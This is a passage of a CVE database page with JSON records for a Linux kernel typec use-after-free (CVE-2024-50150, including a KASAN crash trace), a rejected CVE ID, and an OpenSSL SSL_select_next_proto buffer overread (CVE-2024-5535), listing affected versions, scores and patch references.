          "dateUpdated": "2025-03-06T16:14:33.568Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:08.855Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:22.592Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/typec/class.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2b0b33e8a58388fa9078f0fbe9af1900e6b08879",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "2c15c4133d00f5da632fce60ed013fc31aa9aa58",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "6af43ec3bf40f8b428d9134ffa7a291aecd60da8",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "87474406056891e4fdea0794e1f632b21b3dfa27",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "bee1b68cb8bcee4fd3a8bde3a4886e0b1375dc4d",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "1ded6b12499e6dee9b0e1ceac633be36538f6fc2",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "68a7c7fe322546be1464174c8d85874b8161deda",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            },
            {
              "lessThan": "befab3a278c59db0cc88c8799638064f6d3fd6f8",
              "status": "affected",
              "version": "8a37d87d72f0c69f837229c04d2fcd7117ea57e7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/typec/class.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: altmode should keep reference to parent\n\nThe altmode device release refers to its parent device, but without keeping\na reference to it.\n\nWhen registering the altmode, get a reference to the parent and put it in\nthe release function.\n\nBefore this fix, when using CONFIG_DEBUG_KOBJECT_RELEASE, we see issues\nlike this:\n\n[   43.572860] kobject: \u0027port0.0\u0027 (ffff8880057ba008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   43.573532] kobject: \u0027port0.1\u0027 (ffff8880057bd008): kobject_release, parent 0000000000000000 (delayed 1000)\n[   43.574407] kobject: \u0027port0\u0027 (ffff8880057b9008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   43.575059] kobject: \u0027port1.0\u0027 (ffff8880057ca008): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.575908] kobject: \u0027port1.1\u0027 (ffff8880057c9008): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.576908] kobject: \u0027typec\u0027 (ffff8880062dbc00): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.577769] kobject: \u0027port1\u0027 (ffff8880057bf008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   46.612867] ==================================================================\n[   46.613402] BUG: KASAN: slab-use-after-free in typec_altmode_release+0x38/0x129\n[   46.614003] Read of size 8 at addr ffff8880057b9118 by task kworker/2:1/48\n[   46.614538]\n[   46.614668] CPU: 2 UID: 0 PID: 48 Comm: kworker/2:1 Not tainted 6.12.0-rc1-00138-gedbae730ad31 #535\n[   46.615391] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014\n[   46.616042] Workqueue: events kobject_delayed_cleanup\n[   46.616446] Call Trace:\n[   46.616648]  \u003cTASK\u003e\n[   46.616820]  dump_stack_lvl+0x5b/0x7c\n[   46.617112]  ? typec_altmode_release+0x38/0x129\n[   46.617470]  print_report+0x14c/0x49e\n[   46.617769]  ? rcu_read_unlock_sched+0x56/0x69\n[   46.618117]  ? __virt_addr_valid+0x19a/0x1ab\n[   46.618456]  ? kmem_cache_debug_flags+0xc/0x1d\n[   46.618807]  ? typec_altmode_release+0x38/0x129\n[   46.619161]  kasan_report+0x8d/0xb4\n[   46.619447]  ? typec_altmode_release+0x38/0x129\n[   46.619809]  ? process_scheduled_works+0x3cb/0x85f\n[   46.620185]  typec_altmode_release+0x38/0x129\n[   46.620537]  ? process_scheduled_works+0x3cb/0x85f\n[   46.620907]  device_release+0xaf/0xf2\n[   46.621206]  kobject_delayed_cleanup+0x13b/0x17a\n[   46.621584]  process_scheduled_works+0x4f6/0x85f\n[   46.621955]  ? __pfx_process_scheduled_works+0x10/0x10\n[   46.622353]  ? hlock_class+0x31/0x9a\n[   46.622647]  ? lock_acquired+0x361/0x3c3\n[   46.622956]  ? move_linked_works+0x46/0x7d\n[   46.623277]  worker_thread+0x1ce/0x291\n[   46.623582]  ? __kthread_parkme+0xc8/0xdf\n[   46.623900]  ? __pfx_worker_thread+0x10/0x10\n[   46.624236]  kthread+0x17e/0x190\n[   46.624501]  ? kthread+0xfb/0x190\n[   46.624756]  ? __pfx_kthread+0x10/0x10\n[   46.625015]  ret_from_fork+0x20/0x40\n[   46.625268]  ? __pfx_kthread+0x10/0x10\n[   46.625532]  ret_from_fork_asm+0x1a/0x30\n[   46.625805]  \u003c/TASK\u003e\n[   46.625953]\n[   46.626056] Allocated by task 678:\n[   46.626287]  kasan_save_stack+0x24/0x44\n[   46.626555]  kasan_save_track+0x14/0x2d\n[   46.626811]  __kasan_kmalloc+0x3f/0x4d\n[   46.627049]  __kmalloc_noprof+0x1bf/0x1f0\n[   46.627362]  typec_register_port+0x23/0x491\n[   46.627698]  cros_typec_probe+0x634/0xbb6\n[   46.628026]  platform_probe+0x47/0x8c\n[   46.628311]  really_probe+0x20a/0x47d\n[   46.628605]  device_driver_attach+0x39/0x72\n[   46.628940]  bind_store+0x87/0xd7\n[   46.629213]  kernfs_fop_write_iter+0x1aa/0x218\n[   46.629574]  vfs_write+0x1d6/0x29b\n[   46.629856]  ksys_write+0xcd/0x13b\n[   46.630128]  do_syscall_64+0xd4/0x139\n[   46.630420]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[   46.630820]\n[   46.630946] Freed by task 48:\n[   46.631182]  kasan_save_stack+0x24/0x44\n[   46.631493]  kasan_save_track+0x14/0x2d\n[   46.631799]  kasan_save_free_info+0x3f/0x4d\n[   46.632144]  __kasan_slab_free+0x37/0x45\n[   46.632474]\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:24.677Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2b0b33e8a58388fa9078f0fbe9af1900e6b08879"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c15c4133d00f5da632fce60ed013fc31aa9aa58"
        },
        {
          "url": "https://git.kernel.org/stable/c/6af43ec3bf40f8b428d9134ffa7a291aecd60da8"
        },
        {
          "url": "https://git.kernel.org/stable/c/87474406056891e4fdea0794e1f632b21b3dfa27"
        },
        {
          "url": "https://git.kernel.org/stable/c/bee1b68cb8bcee4fd3a8bde3a4886e0b1375dc4d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ded6b12499e6dee9b0e1ceac633be36538f6fc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/68a7c7fe322546be1464174c8d85874b8161deda"
        },
        {
          "url": "https://git.kernel.org/stable/c/befab3a278c59db0cc88c8799638064f6d3fd6f8"
        }
      ],
      "title": "usb: typec: altmode should keep reference to parent",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50150",
    "datePublished": "2024-11-07T09:31:26.782Z",
    "dateReserved": "2024-10-21T19:36:19.959Z",
    "dateUpdated": "2026-05-12T12:00:22.592Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47672 (GCVE-0-2024-47672)

Vulnerability from cvelistv5 – Published: 2024-10-09 14:49 – Updated: 2026-01-05 11:10

This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "providerMetadata": {
        "dateUpdated": "2026-01-05T11:10:22.327Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "rejectedReasons": [
        {
          "lang": "en",
          "value": "This CVE ID has been rejected or withdrawn by its CVE Numbering Authority."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47672",
    "datePublished": "2024-10-09T14:49:13.646Z",
    "dateRejected": "2026-01-05T11:10:22.327Z",
    "dateReserved": "2024-09-30T16:00:12.936Z",
    "dateUpdated": "2026-01-05T11:10:22.327Z",
    "state": "REJECTED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-5535 (GCVE-0-2024-5535)

Vulnerability from cvelistv5 – Published: 2024-06-27 10:30 – Updated: 2026-05-12 11:35

Title

SSL_select_next_proto buffer overread

Summary

Issue summary: Calling the OpenSSL API function SSL_select_next_proto with an empty supported client protocols buffer may cause a crash or memory contents to be sent to the peer. Impact summary: A buffer overread can have a range of potential consequences such as unexpected application beahviour or a crash. In particular this issue could result in up to 255 bytes of arbitrary private data from memory being sent to the peer leading to a loss of confidentiality. However, only applications that directly call the SSL_select_next_proto function with a 0 length list of supported client protocols are affected by this issue. This would normally never be a valid scenario and is typically not under attacker control but may occur by accident in the case of a configuration or programming error in the calling application. The OpenSSL API function SSL_select_next_proto is typically used by TLS applications that support ALPN (Application Layer Protocol Negotiation) or NPN (Next Protocol Negotiation). NPN is older, was never standardised and is deprecated in favour of ALPN. We believe that ALPN is significantly more widely deployed than NPN. The SSL_select_next_proto function accepts a list of protocols from the server and a list of protocols from the client and returns the first protocol that appears in the server list that also appears in the client list. In the case of no overlap between the two lists it returns the first item in the client list. In either case it will signal whether an overlap between the two lists was found. In the case where SSL_select_next_proto is called with a zero length client list it fails to notice this condition and returns the memory immediately following the client list pointer (and reports that there was no overlap in the lists). This function is typically called from a server side application callback for ALPN or a client side application callback for NPN. In the case of ALPN the list of protocols supplied by the client is guaranteed by libssl to never be zero in length. The list of server protocols comes from the application and should never normally be expected to be of zero length. In this case if the SSL_select_next_proto function has been called as expected (with the list supplied by the client passed in the client/client_len parameters), then the application will not be vulnerable to this issue. If the application has accidentally been configured with a zero length server list, and has accidentally passed that zero length server list in the client/client_len parameters, and has additionally failed to correctly handle a "no overlap" response (which would normally result in a handshake failure in ALPN) then it will be vulnerable to this problem. In the case of NPN, the protocol permits the client to opportunistically select a protocol when there is no overlap. OpenSSL returns the first client protocol in the no overlap case in support of this. The list of client protocols comes from the application and should never normally be expected to be of zero length. However if the SSL_select_next_proto function is accidentally called with a client_len of 0 then an invalid memory pointer will be returned instead. If the application uses this output as the opportunistic protocol then the loss of confidentiality will occur. This issue has been assessed as Low severity because applications are most likely to be vulnerable if they are using NPN instead of ALPN - but NPN is not widely used. It also requires an application configuration or programming error. Finally, this issue would not typically be under attacker control making active exploitation unlikely. The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue. Due to the low severity of this issue we are not issuing new releases of OpenSSL at this time. The fix will be included in the next releases when they become available.

Severity ?

No CVSS data available.

CWE

CWE-125 - Out-of-bounds Read

Assigner

openssl

References

7 references

URL	Tags
https://www.openssl.org/news/secadv/20240627.txt	vendor-advisory
https://github.com/openssl/openssl/commit/e86ac43…	patch
https://github.com/openssl/openssl/commit/99fb785…	patch
https://github.com/openssl/openssl/commit/4ada436…	patch
https://github.com/openssl/openssl/commit/cf6f91f…	patch
https://github.openssl.org/openssl/extended-relea…	patch
https://github.openssl.org/openssl/extended-relea…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.3.0 , < 3.3.2 (semver) Affected: 3.2.0 , < 3.2.3 (semver) Affected: 3.1.0 , < 3.1.7 (semver) Affected: 3.0.0 , < 3.0.15 (semver) Affected: 1.1.1 , < 1.1.1za (custom) Affected: 1.0.2 , < 1.0.2zk (custom)

Date Public ?

2024-06-26 23:00

Credits

Joseph Birr-Pixton David Benjamin (Google) Matt Caswell

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "openssl",
            "vendor": "openssl",
            "versions": [
              {
                "lessThan": "3.3.2",
                "status": "affected",
                "version": "3.3.0",
                "versionType": "custom"
              },
              {
                "lessThan": "3.2.3",
                "status": "affected",
                "version": "3.2.0",
                "versionType": "custom"
              },
              {
                "lessThan": "3.1.7",
                "status": "affected",
                "version": "3.1.0",
                "versionType": "custom"
              },
              {
                "lessThan": "3.0.15",
                "status": "affected",
                "version": "3.0.0",
                "versionType": "custom"
              },
              {
                "lessThan": "1.1.1za",
                "status": "affected",
                "version": "1.1.1",
                "versionType": "custom"
              },
              {
                "lessThan": "1.0.2zk",
                "status": "affected",
                "version": "1.0.2",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-5535",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-08T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-14T04:55:17.007Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:32:30.900Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20240627.txt"
          },
          {
            "name": "3.3.2 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/e86ac436f0bd54d4517745483e2315650fae7b2c"
          },
          {
            "name": "3.2.3 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/99fb785a5f85315b95288921a321a935ea29a51e"
          },
          {
            "name": "3.1.7 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/4ada436a1946cbb24db5ab4ca082b69c1bc10f37"
          },
          {
            "name": "3.0.15 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/cf6f91f6121f4db167405db2f0de410a456f260c"
          },
          {
            "name": "1.1.1za git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.openssl.org/openssl/extended-releases/commit/b78ec0824da857223486660177d3b1f255c65d87"
          },
          {
            "name": "1.0.2zk git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.openssl.org/openssl/extended-releases/commit/9947251413065a05189a63c9b7a6c1d4e224c21c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/06/27/1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/06/28/4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240712-0005/"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/08/15/1"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00000.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00033.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20241025-0010/"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20241025-0006/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.700",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:35:07.079Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-277137.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.3.2",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.2.3",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.7",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.15",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1za",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zk",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Joseph Birr-Pixton"
        },
        {
          "lang": "en",
          "type": "analyst",
          "value": "David Benjamin (Google)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Matt Caswell"
        }
      ],
      "datePublic": "2024-06-26T23:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Calling the OpenSSL API function SSL_select_next_proto with an\u003cbr\u003eempty supported client protocols buffer may cause a crash or memory contents to\u003cbr\u003ebe sent to the peer.\u003cbr\u003e\u003cbr\u003eImpact summary: A buffer overread can have a range of potential consequences\u003cbr\u003esuch as unexpected application beahviour or a crash. In particular this issue\u003cbr\u003ecould result in up to 255 bytes of arbitrary private data from memory being sent\u003cbr\u003eto the peer leading to a loss of confidentiality. However, only applications\u003cbr\u003ethat directly call the SSL_select_next_proto function with a 0 length list of\u003cbr\u003esupported client protocols are affected by this issue. This would normally never\u003cbr\u003ebe a valid scenario and is typically not under attacker control but may occur by\u003cbr\u003eaccident in the case of a configuration or programming error in the calling\u003cbr\u003eapplication.\u003cbr\u003e\u003cbr\u003eThe OpenSSL API function SSL_select_next_proto is typically used by TLS\u003cbr\u003eapplications that support ALPN (Application Layer Protocol Negotiation) or NPN\u003cbr\u003e(Next Protocol Negotiation). NPN is older, was never standardised and\u003cbr\u003eis deprecated in favour of ALPN. We believe that ALPN is significantly more\u003cbr\u003ewidely deployed than NPN. The SSL_select_next_proto function accepts a list of\u003cbr\u003eprotocols from the server and a list of protocols from the client and returns\u003cbr\u003ethe first protocol that appears in the server list that also appears in the\u003cbr\u003eclient list. In the case of no overlap between the two lists it returns the\u003cbr\u003efirst item in the client list. In either case it will signal whether an overlap\u003cbr\u003ebetween the two lists was found. In the case where SSL_select_next_proto is\u003cbr\u003ecalled with a zero length client list it fails to notice this condition and\u003cbr\u003ereturns the memory immediately following the client list pointer (and reports\u003cbr\u003ethat there was no overlap in the lists).\u003cbr\u003e\u003cbr\u003eThis function is typically called from a server side application callback for\u003cbr\u003eALPN or a client side application callback for NPN. In the case of ALPN the list\u003cbr\u003eof protocols supplied by the client is guaranteed by libssl to never be zero in\u003cbr\u003elength. The list of server protocols comes from the application and should never\u003cbr\u003enormally be expected to be of zero length. In this case if the\u003cbr\u003eSSL_select_next_proto function has been called as expected (with the list\u003cbr\u003esupplied by the client passed in the client/client_len parameters), then the\u003cbr\u003eapplication will not be vulnerable to this issue. If the application has\u003cbr\u003eaccidentally been configured with a zero length server list, and has\u003cbr\u003eaccidentally passed that zero length server list in the client/client_len\u003cbr\u003eparameters, and has additionally failed to correctly handle a \"no overlap\"\u003cbr\u003eresponse (which would normally result in a handshake failure in ALPN) then it\u003cbr\u003ewill be vulnerable to this problem.\u003cbr\u003e\u003cbr\u003eIn the case of NPN, the protocol permits the client to opportunistically select\u003cbr\u003ea protocol when there is no overlap. OpenSSL returns the first client protocol\u003cbr\u003ein the no overlap case in support of this. The list of client protocols comes\u003cbr\u003efrom the application and should never normally be expected to be of zero length.\u003cbr\u003eHowever if the SSL_select_next_proto function is accidentally called with a\u003cbr\u003eclient_len of 0 then an invalid memory pointer will be returned instead. If the\u003cbr\u003eapplication uses this output as the opportunistic protocol then the loss of\u003cbr\u003econfidentiality will occur.\u003cbr\u003e\u003cbr\u003eThis issue has been assessed as Low severity because applications are most\u003cbr\u003elikely to be vulnerable if they are using NPN instead of ALPN - but NPN is not\u003cbr\u003ewidely used. It also requires an application configuration or programming error.\u003cbr\u003eFinally, this issue would not typically be under attacker control making active\u003cbr\u003eexploitation unlikely.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.\u003cbr\u003e\u003cbr\u003e\n\nDue to the low severity of this issue we are not issuing new releases of\u003cbr\u003eOpenSSL at this time. The fix will be included in the next releases when they\u003cbr\u003ebecome available."
            }
          ],
